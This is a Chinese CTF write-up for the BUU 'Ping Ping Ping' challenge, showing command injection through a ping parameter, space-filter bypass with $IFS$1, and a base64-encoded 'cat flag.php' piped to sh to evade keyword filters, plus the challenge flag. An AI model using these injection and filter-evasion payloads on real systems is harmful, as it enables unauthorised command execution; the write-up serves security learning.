BUU-[GXYCTF2019]Ping Ping Ping

2024-05-11 23:44
文章标签 ping gxyctf2019 buu

本文主要是介绍BUU-[GXYCTF2019]Ping Ping Ping,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

考察点

命令执行

题目

在这里插入图片描述

image.png

解题

简单测试

?ip应该是一个提示,那么就测试一下?ip=127.0.0.1

http://0c02a46a-5ac2-45f5-99da-3d1b0b951307.node4.buuoj.cn:81/?ip=127.0.0.1

发现正常回显
image.png

列出文件

那么猜测一下可能会有命令执行漏洞,测试?ip=127.0.0.1;ls

http://0c02a46a-5ac2-45f5-99da-3d1b0b951307.node4.buuoj.cn:81/?ip=127.0.0.1;ls

image.png
发现有flag.php文件和index.php文件

查看flag.php文件

?ip=127.0.0.1;cat flag.php

http://0c02a46a-5ac2-45f5-99da-3d1b0b951307.node4.buuoj.cn:81/?ip=127.0.0.1;cat%20flag.php

发现回显不是flag值,估计是被过滤了
在这里插入图片描述

猜测可能是空格被过滤了,尝试用 I F S {IFS} IFS 进行代替

http://0c02a46a-5ac2-45f5-99da-3d1b0b951307.node4.buuoj.cn:81/?ip=127.0.0.1;cat${IFS}$flag.php

image.png

发现也得不到flag值,猜测可能还过滤了{},那么使用 ${IFS}$1 进行代替

http://0c02a46a-5ac2-45f5-99da-3d1b0b951307.node4.buuoj.cn:81/?ip=127.0.0.1;cat${IFS}$1flag.php

依旧没有得到flag值
image.png

查看index.php

http://0c02a46a-5ac2-45f5-99da-3d1b0b951307.node4.buuoj.cn:81/?ip=127.0.0.1;cat$IFS$1index.php

在这里插入图片描述

这下过滤了啥就一目了然了
flag字眼过滤了,bash也没了,不过sh没过滤
在这里插入图片描述

先对cat flag.php进行base64编码得到:Y2F0IGZsYWcucGhw

http://0c02a46a-5ac2-45f5-99da-3d1b0b951307.node4.buuoj.cn:81/?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|shecho        是打印
$IFS$1      是空格
Y2F0IGZsYWcucGhw        是cat flag.php的base编码
|           是管道符
base64$IFS$1-d      是base64 -d的意思,就是对Y2F0IGZsYWcucGhw进行base64解密
sh          是执行传递过来的cat flag.php命令

查看返回页面的源码可以得到flag
image.png

flag{19795c98-007a-46f5-a449-5f6ae6410dd5}

image.png

总结

命令执行各种绕过总结:

https://blog.csdn.net/m0_64815693/article/details/127268809https://blog.csdn.net/Thunderclap_/article/details/129178221

image.png
image.png

echo${IFS}Y2F0IDEudHh0|base64${IFS}-d|sh

image.png

这篇关于BUU-[GXYCTF2019]Ping Ping Ping的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/980997

相关文章

C# 如何同时Ping多个IP地址

在C#中,如果需要同时ping多个IP地址,可以采用多线程或异步编程的方式来实现,以便可以同时进行多个ping操作。以下是两种常用的方法: 方法一:使用多线程(Task 或 Thread) 使用Task是更现代和推荐的方式,因为它内置了更好的线程管理和异常处理机制。以下是一个使用Task的示例,展示如何同时ping多个IP地址: using System; using System.Co

Linux Ubuntu 能PING IP但不能PING主机域名的解决方法

------------------------------------------------------------------------------- ------------------------------------------------------------------------------- vi /etc/nsswitch.conf hosts: file

linux下 ping: unknown host www.baidu.com” 解决方法

问题现象 :   ping 和 telnet 都无法正常使用   而nslookup 可以正常解析到域名 $ ping  www.baidu.com  ping: unknown host  www.baidu.com $ telnet baidu.com 80  baidu.com/80: Name or service not known

深入理解 Linux 的 ping、telnet 和 curl 命令

深入理解 Linux 的 ping、telnet 和 curl 命令 在 Linux 系统中,网络调试和测试是日常运维工作的重要部分。ping、telnet 和 curl 是常用的网络命令工具,用于测试网络连接、访问远程服务器和发送 HTTP 请求等操作。本文将详细介绍这些命令的语法、使用场景和区别,尤其是 curl 命令中的 GET 和 POST 请求。 1. ping 命令 1.1

虚拟机无法查看ip地址,ping不通百度的解决思路

一、虚拟机centos中ifconfig看不到ens33的ip地址解决方案 1、检查网络适配器是否为"桥接模式"     2、查看网络配置文件 cd /etc/sysconfig/network-scripts/ vi ifcfg-ens33   其中HWADDR,为ifconfig查看到的ens33网口的物理地址 将ONBOOT设置为yes 重启网络:service ne

主机与虚拟机都可以上网,但是互相ping不通

问题:主机与虚拟机都可以上网,但是互相ping不通 可能:相关入站规则没有启用 解决:第4步双击后,打勾设置“已启用”

Centos 开放端口 查看 防火墙 ping telnet

centos中安装telnet yum install telnet   1、开放端口 firewall-cmd --zone=public --add-port=5672/tcp --permanent   # 开放5672端口 firewall-cmd --zone=public --remove-port=5672/tcp --permanent  #关闭5672端口 fir

路由表和三层转发(ping过程)详解

1、路由表概述        路由表的表项根据设备不同,可能是不同的。但是目的IP地址、网络掩码、网关、接口、标志这几项是必须存在的。例如跃点数metric,引用次数ref等在不同设备上可能不同。 1.1、表项理解的问题 诸如IP地址、网络掩码等很好理解,那么网关和接口表项使用来做什么的呢? (1)      网关:是下一站路由器的IP地址 (2)      接口:是将数据报从哪个接口发出

VM虚拟机:虚拟机能ping通主机,主机ping不通虚拟机,永久解决办法。

最近在安装VM虚拟机的时候,出现了虚拟机能ping通主机,主机ping不通虚拟机。着实令人恶心,尤其是虚拟机在设置网络的时候,网上五花八门,修改什么配置的都有,最多的就是修改宿主机的ipv4,这种我个人感觉不可取。宿主机不要乱改配置,需要修改尽量在虚拟机中修改即可。         还需要注意一点关键点,想要用永久解决一定是宿主机和虚拟机在同一网段下,很多同学上来就是一顿ping

指定网卡PING局域网内所有IP

FOR /L %i IN (1, 1, 54) DO ping -S  192.168.0.11   -n   1  192.168.0.%i